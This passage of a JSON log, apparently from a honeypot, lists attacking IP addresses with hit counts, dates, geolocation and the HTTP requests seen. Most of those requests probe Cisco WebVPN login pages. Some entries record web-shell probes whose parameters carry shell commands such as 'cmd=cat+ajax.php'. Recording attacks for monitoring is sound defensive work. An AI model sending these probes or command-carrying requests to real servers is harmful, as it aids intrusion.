        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "173.249.252.81": {
      "attack_count": 27,
      "first_seen": "2026-05-06T01:33:11.021Z",
      "last_seen": "2026-05-30T11:18:53.612Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.176": {
      "attack_count": 27,
      "first_seen": "2026-05-02T00:55:54.435Z",
      "last_seen": "2026-05-31T02:05:56.262Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.73": {
      "attack_count": 24,
      "first_seen": "2026-05-02T05:06:05.814Z",
      "last_seen": "2026-05-29T20:14:04.947Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.73.219.84": {
      "attack_count": 21,
      "first_seen": "2026-05-26T13:24:29.554Z",
      "last_seen": "2026-05-30T04:30:57.246Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "37.19.210.16": {
      "attack_count": 21,
      "first_seen": "2026-05-17T04:16:43.831Z",
      "last_seen": "2026-05-29T01:35:31.822Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.168.216.200": {
      "attack_count": 20,
      "first_seen": "2026-05-05T10:58:18.719Z",
      "last_seen": "2026-05-27T21:09:15.800Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "69.166.3.202": {
      "attack_count": 20,
      "first_seen": "2026-05-08T14:20:56.181Z",
      "last_seen": "2026-05-23T19:02:04.478Z",
      "ports": [],
      "event_types": [
        "\"GET /redfish/v1/ HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 27630,
      "as_org": "XFERNET"
    },
    "143.244.47.85": {
      "attack_count": 18,
      "first_seen": "2026-05-03T02:29:01.877Z",
      "last_seen": "2026-05-26T11:12:19.507Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "155.2.191.82": {
      "attack_count": 18,
      "first_seen": "2026-05-03T04:13:52.159Z",
      "last_seen": "2026-05-29T04:29:32.607Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "185.156.46.138": {
      "attack_count": 18,
      "first_seen": "2026-05-07T02:12:49.127Z",
      "last_seen": "2026-05-23T11:08:23.026Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.162.8.105": {
      "attack_count": 18,
      "first_seen": "2026-05-06T02:50:34.832Z",
      "last_seen": "2026-05-26T16:37:35.834Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 25737,
      "as_org": "Jone Broadband LLC"
    },
    "23.234.81.199": {
      "attack_count": 18,
      "first_seen": "2026-05-03T09:48:05.029Z",
      "last_seen": "2026-05-25T13:32:59.326Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.150": {
      "attack_count": 18,
      "first_seen": "2026-05-08T11:20:25.740Z",
      "last_seen": "2026-05-27T21:47:13.445Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "149.40.50.100": {
      "attack_count": 16,
      "first_seen": "2026-05-08T10:44:46.309Z",
      "last_seen": "2026-05-29T11:31:13.425Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "138.199.43.93": {
      "attack_count": 15,
      "first_seen": "2026-05-04T19:59:16.433Z",
      "last_seen": "2026-05-26T08:27:01.172Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.187.134": {
      "attack_count": 15,
      "first_seen": "2026-05-04T22:51:08.132Z",
      "last_seen": "2026-05-27T18:09:56.646Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.70": {
      "attack_count": 15,
      "first_seen": "2026-05-04T23:08:13.333Z",
      "last_seen": "2026-05-30T03:03:56.692Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.213.193.195": {
      "attack_count": 15,
      "first_seen": "2026-05-03T09:01:35.463Z",
      "last_seen": "2026-05-20T08:45:25.032Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "192.42.116.106": {
      "attack_count": 15,
      "first_seen": "2026-05-24T01:29:42.165Z",
      "last_seen": "2026-05-24T01:30:15.733Z",
      "ports": [],
      "event_types": [
        "\"GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/dhtml/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/flash/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/misc/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/modules/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /restapi/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /restapps/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /temp/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /templates_c/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /tests/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /themes/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.102.68": {
      "attack_count": 15,
      "first_seen": "2026-05-05T05:03:18.894Z",
      "last_seen": "2026-05-20T12:31:30.296Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.112.207": {
      "attack_count": 15,
      "first_seen": "2026-05-04T19:39:33.548Z",
      "last_seen": "2026-05-20T21:05:07.929Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.199": {
      "attack_count": 15,
      "first_seen": "2026-05-08T15:59:45.695Z",
      "last_seen": "2026-05-23T06:04:18.217Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.213": {
      "attack_count": 15,
      "first_seen": "2026-05-04T14:39:09.539Z",
      "last_seen": "2026-05-20T15:33:07.331Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.111.128.220": {
      "attack_count": 14,
      "first_seen": "2026-05-26T08:00:00.319Z",
      "last_seen": "2026-05-27T05:10:37.871Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.82.46": {
      "attack_count": 14,
      "first_seen": "2026-05-29T21:33:42.044Z",
      "last_seen": "2026-05-30T11:33:44.793Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "2.57.151.8": {
      "attack_count": 14,
      "first_seen": "2026-05-27T01:05:19.582Z",
      "last_seen": "2026-05-29T03:07:26.045Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "23.230.241.39": {
      "attack_count": 14,
      "first_seen": "2026-05-29T14:48:56.193Z",
      "last_seen": "2026-05-30T03:13:54.451Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "5.252.190.146": {
      "attack_count": 14,
      "first_seen": "2026-05-26T18:28:36.531Z",
      "last_seen": "2026-05-29T16:53:45.307Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "64.62.197.227": {
      "attack_count": 13,
      "first_seen": "2026-05-03T05:25:19.629Z",
      "last_seen": "2026-05-03T05:31:46.338Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "104.36.50.21": {
      "attack_count": 12,
      "first_seen": "2026-05-02T01:51:53.521Z",
      "last_seen": "2026-05-27T17:24:27.007Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.172.70": {
      "attack_count": 12,
      "first_seen": "2026-05-04T16:31:11.438Z",
      "last_seen": "2026-05-29T10:07:09.127Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "192.42.116.14": {
      "attack_count": 12,
      "first_seen": "2026-05-24T01:18:45.753Z",
      "last_seen": "2026-05-24T01:19:27.656Z",
      "ports": [],
      "event_types": [
        "\"GET /1.php?badr HTTP/1.1\" 404 -",
        "\"GET /?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /admin/?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /admin/config.php?pal=cat+config.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/cxpanel/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/ucp/htdocs/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /darkness.php?xasd HTTP/1.1\" 404 -",
        "\"GET /digium_phones/ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
        "\"GET /digium_phones/emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
        "\"GET /omda.php?xzxr45f HTTP/1.1\" 404 -",
        "\"GET /recordings/?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /xx.php?x1q23ed HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.159.216.150": {
      "attack_count": 12,
      "first_seen": "2026-05-04T11:01:11.005Z",
      "last_seen": "2026-05-30T04:28:10.297Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.168.216.73": {
      "attack_count": 12,
      "first_seen": "2026-05-03T02:53:56.536Z",
      "last_seen": "2026-05-30T12:19:07.301Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.106.207": {
      "attack_count": 12,
      "first_seen": "2026-05-05T09:21:16.121Z",
      "last_seen": "2026-05-20T11:48:51.206Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.65": {
      "attack_count": 12,
      "first_seen": "2026-05-02T06:49:42.805Z",
      "last_seen": "2026-05-06T02:26:36.141Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.67": {
      "attack_count": 12,
      "first_seen": "2026-05-03T18:08:05.037Z",
      "last_seen": "2026-05-22T23:25:14.216Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.150": {
      "attack_count": 12,
      "first_seen": "2026-05-05T12:24:19.898Z",
      "last_seen": "2026-05-27T21:13:41.288Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.79": {
      "attack_count": 12,
      "first_seen": "2026-05-05T10:43:18.141Z",
      "last_seen": "2026-05-08T00:49:25.360Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.80": {
      "attack_count": 10,
      "first_seen": "2026-05-06T00:51:39.527Z",
      "last_seen": "2026-05-29T03:29:56.208Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.81.231.150": {
      "attack_count": 9,
      "first_seen": "2026-05-10T01:19:35.403Z",
      "last_seen": "2026-05-30T05:52:22.502Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "155.2.191.81": {
      "attack_count": 9,
      "first_seen": "2026-05-04T23:14:36.340Z",
      "last_seen": "2026-05-05T09:14:51.620Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.168.216.24": {
      "attack_count": 9,
      "first_seen": "2026-05-10T03:17:24.886Z",
      "last_seen": "2026-05-22T20:40:47.615Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.113.150": {
      "attack_count": 9,
      "first_seen": "2026-05-07T03:16:45.339Z",
      "last_seen": "2026-05-20T23:33:18.304Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.207": {
      "attack_count": 9,
      "first_seen": "2026-05-20T22:10:18.533Z",
      "last_seen": "2026-05-30T10:24:40.739Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.148": {
      "attack_count": 9,
      "first_seen": "2026-05-05T07:31:41.735Z",
      "last_seen": "2026-05-09T02:57:54.130Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.194": {
      "attack_count": 9,
      "first_seen": "2026-05-04T10:53:48.533Z",
      "last_seen": "2026-05-14T11:18:53.919Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.200": {
      "attack_count": 9,
      "first_seen": "2026-05-02T01:46:40.788Z",
      "last_seen": "2026-05-07T09:28:24.730Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
